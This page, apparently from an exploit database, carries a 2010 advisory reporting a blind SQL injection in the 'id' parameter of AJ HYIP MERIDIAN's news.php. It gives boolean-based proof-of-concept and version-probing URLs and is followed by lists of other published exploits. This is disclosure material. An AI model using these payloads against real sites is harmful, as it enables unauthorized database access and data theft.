Menu

Search for hundreds of thousands of exploits

"AJ HYIP MERIDIAN - 'news.php?id' Blind SQL Injection"

Author

Exploit author

JosS

Platform

Exploit platform

php

Release date

Exploit published date

2010-07-22

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
AJ HYIP MERIDIAN (news.php id) Blind SQL Injection Vulnerability
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- site: http://www.ajsquare.com/products/ajhyip/index.php

- about AJ HYIP:

AJ HYIP is a complete financial tool with no technical 
knowledge required to manage the site. AJ HYIP software 
is the latest and most advanced HYIP Script with excellent 
navigation features. Our HYIP Script can be easily customized 
to accustom your needs with a potential to generate heavy revenues.


~~ [POC]

http://target/path/news.php?id=1 [bSQL]
http://target/path/news.php?id=1 and 1=1
http://target/path/news.php?id=1 and 1=2

~~ [DEMO]

http://server/meridian/news.php?id=1 and substring(@@version,1,1)=4
http://server/meridian/news.php?id=1 and substring(@@version,1,1)=5


 __h0__
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "WonderCMS 3.1.3 - 'Menu' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-12-02 "WordPress Plugin Wp-FileManager 6.8 - RCE" webapps php "Mansoor R"
2020-12-02 "WonderCMS 3.1.3 - Authenticated Remote Code Execution" webapps php zetc0de
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover" webapps php "Mufaddal Masalawala"
2020-12-02 "Simple College Website 1.0 - 'page' Local File Inclusion" webapps php Mosaaed
2020-12-02 "Car Rental Management System 1.0 - SQL Injection / Local File include" webapps php Mosaaed
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution" webapps php zetc0de
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
2020-12-01 "Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS" webapps php yunaranyancat
Release Date Title Type Platform Author
2012-06-16 "Simple Document Management System 1.1.5 - Multiple SQL Injections" webapps php JosS
2010-09-10 "symphony 2.0.7 - Multiple Vulnerabilities" webapps php JosS
2010-08-29 "Multi-lingual E-Commerce System 0.2 - Multiple Remote File Inclusions" webapps php JosS
2010-07-22 "AJ HYIP PRIME - 'welcome.php?id' Blind SQL Injection" webapps php JosS
2010-07-22 "AJ HYIP MERIDIAN - 'news.php?id' Blind SQL Injection" webapps php JosS
2010-04-16 "SIESTTA 2.0 - Local File Inclusion / Cross-Site Scripting" webapps php JosS
2010-03-29 "xwine 1.0.1 - '.exe' Local Crash (PoC)" dos linux JosS
2010-03-27 "Simple Machines Forum (SMF) 1.1.8 - 'avatar' Remote PHP File Execute" webapps php JosS
2010-03-05 "E-topbiz Link ADS 1 PHP script - 'linkid' Blind SQL Injection" webapps php JosS
2010-03-03 "MiNBank 1.5.0 - Remote Command Execution" webapps php JosS
2009-06-24 "LightOpenCMS 0.1 - 'smarty.php?cwd' Local File Inclusion" webapps php JosS
2009-06-24 "PHPEcho CMS 2.0-rc3 - 'forum' Cross-Site Scripting Cookie Stealing / Blind SQL Injection" webapps php JosS
2009-04-20 "Studio Lounge Address Book 2.5 - 'profile' Arbitrary File Upload" webapps php JosS
2009-04-16 "SMA-DB 0.3.13 - Multiple Remote File Inclusions" webapps php JosS
2009-02-23 "pPIM 1.01 - 'notes.php' Remote Command Execution" webapps php JosS
2009-02-06 "1024 CMS 1.4.4 - Remote Command Execution / Remote File Inclusion" webapps php JosS
2009-02-04 "GR Note 0.94 Beta - (Authentication Bypass) Remote Database Backup" webapps asp JosS
2009-02-04 "gr blog 1.1.4 - Arbitrary File Upload / Authentication Bypass" webapps php JosS
2009-01-05 "Cybershade CMS 0.2b - 'index.php' Remote File Inclusion" webapps php JosS
2008-11-25 "Clean CMS 1.5 - Blind SQL Injection" webapps php JosS
2008-11-03 "pppBlog 0.3.11 - File Disclosure" webapps php JosS
2008-11-02 "Maran PHP Shop - 'admin.php' Insecure Cookie Handling" webapps php JosS
2008-11-02 "Maran PHP Shop - 'prod.php' SQL Injection" webapps php JosS
2008-11-01 "Bloggie Lite 0.0.2 Beta - Insecure Cookie Handling / SQL Injection" webapps php JosS
2008-10-23 "aflog 1.01 - Multiple Insecure Cookie Handling Vulnerabilities" webapps php JosS
2008-10-21 "LightBlog 9.8 - 'GET' / 'POST' / 'COOKIE' Local File Inclusion" webapps php JosS
2008-10-16 "Kure 0.6.3 - 'index.php' Local File Inclusion" webapps php JosS
2008-10-16 "IP Reg 0.4 - Multiple SQL Injections" webapps php JosS
2008-10-15 "mystats - 'hits.php' Multiple Vulnerabilities" webapps php JosS
2008-10-15 "myEvent 1.6 - 'eventdate' SQL Injection" webapps php JosS 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected